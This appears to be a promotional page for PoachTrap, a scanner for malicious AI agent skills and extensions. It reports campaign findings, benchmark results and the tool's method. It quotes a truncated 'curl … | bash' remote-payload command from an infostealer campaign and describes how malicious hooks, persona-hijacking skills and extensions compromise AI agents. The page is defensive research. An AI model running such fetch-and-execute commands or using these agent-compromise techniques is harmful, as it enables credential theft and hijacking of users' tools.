Skills · 2026
Malware in agent marketplaces
The ClawHavoc campaign seeded ClawHub with skills whose setup step installs an infostealer. A USENIX Security 2026 study confirmed 157 malicious skills among 98,380.
USENIX Security 2026 studyVerdicts with evidence for agent skills, MCP servers, plugins and browser extensions. Checked before install, and again on every update.
curl http://91.92.242.30/… | bashdecoded from base64 at runtime in the sandboxThe ClawHavoc campaign seeded ClawHub with skills whose setup step installs an infostealer. A USENIX Security 2026 study confirmed 157 malicious skills among 98,380.
USENIX Security 2026 studyResearchers showed that a malicious update to an agent hook compromised all seven agent tools they tested, and endpoint antivirus detected none.
HookPry, arXiv 2026Browser extensions with millions of users were caught collecting what people type into ChatGPT, Claude and Gemini, with targeting delivered from a server.
The Hacker News, Jan 2026Scanners that catch most attacks also flag 15 to 36% of safe add-ons, which teams end up ignoring. PoachTrap keeps false alarms under 1%.
| Tool | Precision | Recall | F1 | False alarms |
|---|---|---|---|---|
| PoachTrap | 0.994 | 0.834 | 0.907 | 0.48% |
| getsentry (LLM) | 0.800 | 0.985 | 0.883 | 23.6% |
| AI-Infra-Guard | 0.842 | 0.867 | 0.855 | 15.5% |
| Cisco (LLM) | 0.708 | 0.923 | 0.801 | 36.3% |
| Snyk agent-scan | 0.920 | 0.289 | 0.440 | 2.4% |
| VirusTotal | 1.000 | 0.213 | 0.351 | 0.0% |
MalSkillBench held-out test split: 1,980 malicious and 2,074 safe skills, run once. 12 published tools re-scored on the same samples; top results shown.
real packages scanned, including every npm and PyPI package in the official MCP registry
of 73,881 real updates allowed automatically; the rest come with the capability that changed
of malicious skills still caught after being rewritten to openly declare their harm
StayFocusd, a website blocker with about 600,000 users, downloaded a server-side list of seven AI assistants and uploaded links from a fake AI answer, tagged with a conversation ID. Secure Annex had reported it in January; PoachTrap confirmed it without reading the code. Across 14 other popular extensions it raised no false alarm.
Detonating a public set of ClawHub malware showed 48 differently branded skills calling the same server, hidden behind base64 and decoy domains. We recovered the cluster from behaviour alone; Trend Micro had attributed it to ClawHavoc.
PoachTrap judges harm against an add-on's stated purpose. We attacked that directly by rewriting 150 malicious skills to disclose what they do. 97.3% were still caught, with no new false alarms.
Across 1,878 OpenVSX extensions, the registry behind Cursor and Windsurf, none was falsely judged malicious. Comparing each copy with the extension it was copied from found one that has contacted an outside server on every editor start since 2022. Reported to Open VSX.
Finds what the code can do: reach secrets, call out, fetch remote code, persist, hide instructions. Dangerous combinations count, not single signals.
Runs it in a sealed container with fake credentials. Extensions run in real Chrome against fake AI chats; anything carrying bait is blocked and recorded.
Asks whether it does more than its stated purpose. Every verdict must quote evidence from the files.
Compares what the new version can do with the old one: allow, review or block.
Plugs in as a verdict API by hash, an update gate and OCSF findings for the SIEM. About $0.0007 per AI judgment; each version is judged once.
Skills that hijack the agent's persona or slant its answers are caught 42 to 57% of the time, because they change words rather than actions.
Two of three reported prompt poachers stayed silent in short sandbox runs. Reading their code still flags all three.
The sandbox runs Linux, so Mac-only payloads are flagged from the code but not executed.
Siddharth Gupta
The paper, code and full results are shared under NDA.